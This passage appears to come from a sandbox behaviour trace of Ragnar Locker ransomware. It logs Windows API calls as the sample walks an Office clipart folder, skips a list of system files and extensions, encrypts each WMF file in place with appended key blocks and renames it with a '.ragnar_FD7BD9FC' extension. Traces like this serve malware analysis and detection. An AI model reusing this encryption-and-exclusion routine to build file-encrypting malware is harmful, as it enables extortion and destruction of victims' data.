Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" [0080.493] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.ragnar_FD7BD9FC" [0080.493] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.494] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3fb0f00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3fb0f00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x6ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00526_.WMF", cAlternateFileName="")) returned 1 [0080.494] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.494] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00526_.WMF" | out: lpString1="BL00526_.WMF") returned="BL00526_.WMF" [0080.494] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned=".WMF" [0080.494] lstrcmpiW (lpString1="BL00526_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.494] lstrcmpiW (lpString1="BL00526_.WMF", lpString2="autorun.inf") returned 1 [0080.494] lstrcmpiW (lpString1="BL00526_.WMF", lpString2="boot.ini") returned -1 [0080.494] lstrcmpiW (lpString1="BL00526_.WMF", lpString2="bootfont.bin") returned -1 [0080.494] lstrcmpiW (lpString1="BL00526_.WMF", lpString2="bootsect.bak") returned -1 [0080.494] lstrcmpiW (lpString1="BL00526_.WMF", lpString2="bootmgr") returned -1 [0080.494] lstrcmpiW (lpString1="BL00526_.WMF", lpString2="bootmgr.efi") returned -1 [0080.494] lstrcmpiW (lpString1="BL00526_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.494] lstrcmpiW (lpString1="BL00526_.WMF", lpString2="desktop.ini") returned -1 [0080.495] lstrcmpiW (lpString1="BL00526_.WMF", lpString2="iconcache.db") returned -1 [0080.495] lstrcmpiW (lpString1="BL00526_.WMF", lpString2="ntldr") returned -1 [0080.495] lstrcmpiW (lpString1="BL00526_.WMF", lpString2="ntuser.dat") returned -1 [0080.495] lstrcmpiW (lpString1="BL00526_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.495] lstrcmpiW (lpString1="BL00526_.WMF", lpString2="ntuser.ini") returned -1 [0080.495] lstrcmpiW (lpString1="BL00526_.WMF", lpString2="thumbs.db") returned -1 [0080.495] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.495] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.495] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.495] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.495] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.495] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.495] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.495] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x20 [0080.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.495] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=27552) returned 1 [0080.495] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6b97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.495] GetProcessHeap () returned 0x580000 [0080.495] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.495] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.497] VirtualAlloc (lpAddress=0x0, dwSize=0x6ba0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.497] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.497] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.497] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6ba0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6ba0, lpOverlapped=0x0) returned 1 [0080.498] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.499] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6ba0, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.499] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6ba0, lpOverlapped=0x0) returned 1 [0080.499] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6ba0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.499] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.499] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6ba0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.500] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.500] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.500] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.500] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.500] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.500] GetProcessHeap () returned 0x580000 [0080.500] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.500] CloseHandle (hObject=0xf4) returned 1 [0080.500] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" [0080.500] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.ragnar_FD7BD9FC" [0080.500] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.501] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20fce500, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x5f7031f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20fce500, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x2cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00648_.WMF", cAlternateFileName="")) returned 1 [0080.501] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.501] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00648_.WMF" | out: lpString1="BL00648_.WMF") returned="BL00648_.WMF" [0080.501] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned=".WMF" [0080.501] lstrcmpiW (lpString1="BL00648_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.501] lstrcmpiW (lpString1="BL00648_.WMF", lpString2="autorun.inf") returned 1 [0080.501] lstrcmpiW (lpString1="BL00648_.WMF", lpString2="boot.ini") returned -1 [0080.501] lstrcmpiW (lpString1="BL00648_.WMF", lpString2="bootfont.bin") returned -1 [0080.501] lstrcmpiW (lpString1="BL00648_.WMF", lpString2="bootsect.bak") returned -1 [0080.501] lstrcmpiW (lpString1="BL00648_.WMF", lpString2="bootmgr") returned -1 [0080.501] lstrcmpiW (lpString1="BL00648_.WMF", lpString2="bootmgr.efi") returned -1 [0080.501] lstrcmpiW (lpString1="BL00648_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.501] lstrcmpiW (lpString1="BL00648_.WMF", lpString2="desktop.ini") returned -1 [0080.501] lstrcmpiW (lpString1="BL00648_.WMF", lpString2="iconcache.db") returned -1 [0080.501] lstrcmpiW (lpString1="BL00648_.WMF", lpString2="ntldr") returned -1 [0080.502] lstrcmpiW (lpString1="BL00648_.WMF", lpString2="ntuser.dat") returned -1 [0080.502] lstrcmpiW (lpString1="BL00648_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.502] lstrcmpiW (lpString1="BL00648_.WMF", lpString2="ntuser.ini") returned -1 [0080.502] lstrcmpiW (lpString1="BL00648_.WMF", lpString2="thumbs.db") returned -1 [0080.502] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.502] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.502] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.502] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.502] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.502] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.502] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x20 [0080.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.502] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11500) returned 1 [0080.502] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2ce3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.502] GetProcessHeap () returned 0x580000 [0080.503] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.503] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.504] VirtualAlloc (lpAddress=0x0, dwSize=0x2cec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.504] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.504] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.505] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2cec, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2cec, lpOverlapped=0x0) returned 1 [0080.506] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.506] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2cec, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.506] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2cec, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2cec, lpOverlapped=0x0) returned 1 [0080.506] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2cec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.506] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.506] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2cec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.506] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.506] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.507] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.507] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.507] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.507] GetProcessHeap () returned 0x580000 [0080.507] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.507] CloseHandle (hObject=0xf4) returned 1 [0080.507] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" [0080.507] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.ragnar_FD7BD9FC" [0080.507] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.508] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeba4c700, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeba4c700, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00921_.WMF", cAlternateFileName="")) returned 1 [0080.508] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.508] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00921_.WMF" | out: lpString1="BL00921_.WMF") returned="BL00921_.WMF" [0080.508] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned=".WMF" [0080.508] lstrcmpiW (lpString1="BL00921_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.508] lstrcmpiW (lpString1="BL00921_.WMF", lpString2="autorun.inf") returned 1 [0080.508] lstrcmpiW (lpString1="BL00921_.WMF", lpString2="boot.ini") returned -1 [0080.508] lstrcmpiW (lpString1="BL00921_.WMF", lpString2="bootfont.bin") returned -1 [0080.508] lstrcmpiW (lpString1="BL00921_.WMF", lpString2="bootsect.bak") returned -1 [0080.508] lstrcmpiW (lpString1="BL00921_.WMF", lpString2="bootmgr") returned -1 [0080.508] lstrcmpiW (lpString1="BL00921_.WMF", lpString2="bootmgr.efi") returned -1 [0080.508] lstrcmpiW (lpString1="BL00921_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.508] lstrcmpiW (lpString1="BL00921_.WMF", lpString2="desktop.ini") returned -1 [0080.508] lstrcmpiW (lpString1="BL00921_.WMF", lpString2="iconcache.db") returned -1 [0080.508] lstrcmpiW (lpString1="BL00921_.WMF", lpString2="ntldr") returned -1 [0080.508] lstrcmpiW (lpString1="BL00921_.WMF", lpString2="ntuser.dat") returned -1 [0080.509] lstrcmpiW (lpString1="BL00921_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.509] lstrcmpiW (lpString1="BL00921_.WMF", lpString2="ntuser.ini") returned -1 [0080.509] lstrcmpiW (lpString1="BL00921_.WMF", lpString2="thumbs.db") returned -1 [0080.509] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.509] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.509] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.509] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.509] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.509] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.509] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.509] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x20 [0080.510] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.510] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4408) returned 1 [0080.510] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x112f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.510] GetProcessHeap () returned 0x580000 [0080.510] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.511] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.512] VirtualAlloc (lpAddress=0x0, dwSize=0x1138, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.512] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.512] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.512] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1138, lpOverlapped=0x0) returned 1 [0080.513] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.513] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1138, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.513] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1138, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1138, lpOverlapped=0x0) returned 1 [0080.513] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1138, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.513] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.514] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1138, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.514] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.514] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.514] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.514] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.514] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.514] GetProcessHeap () returned 0x580000 [0080.514] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.514] CloseHandle (hObject=0xf4) returned 1 [0080.514] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" [0080.514] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.ragnar_FD7BD9FC" [0080.514] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), lpNewFileName="\\\\?\\C:\\Program 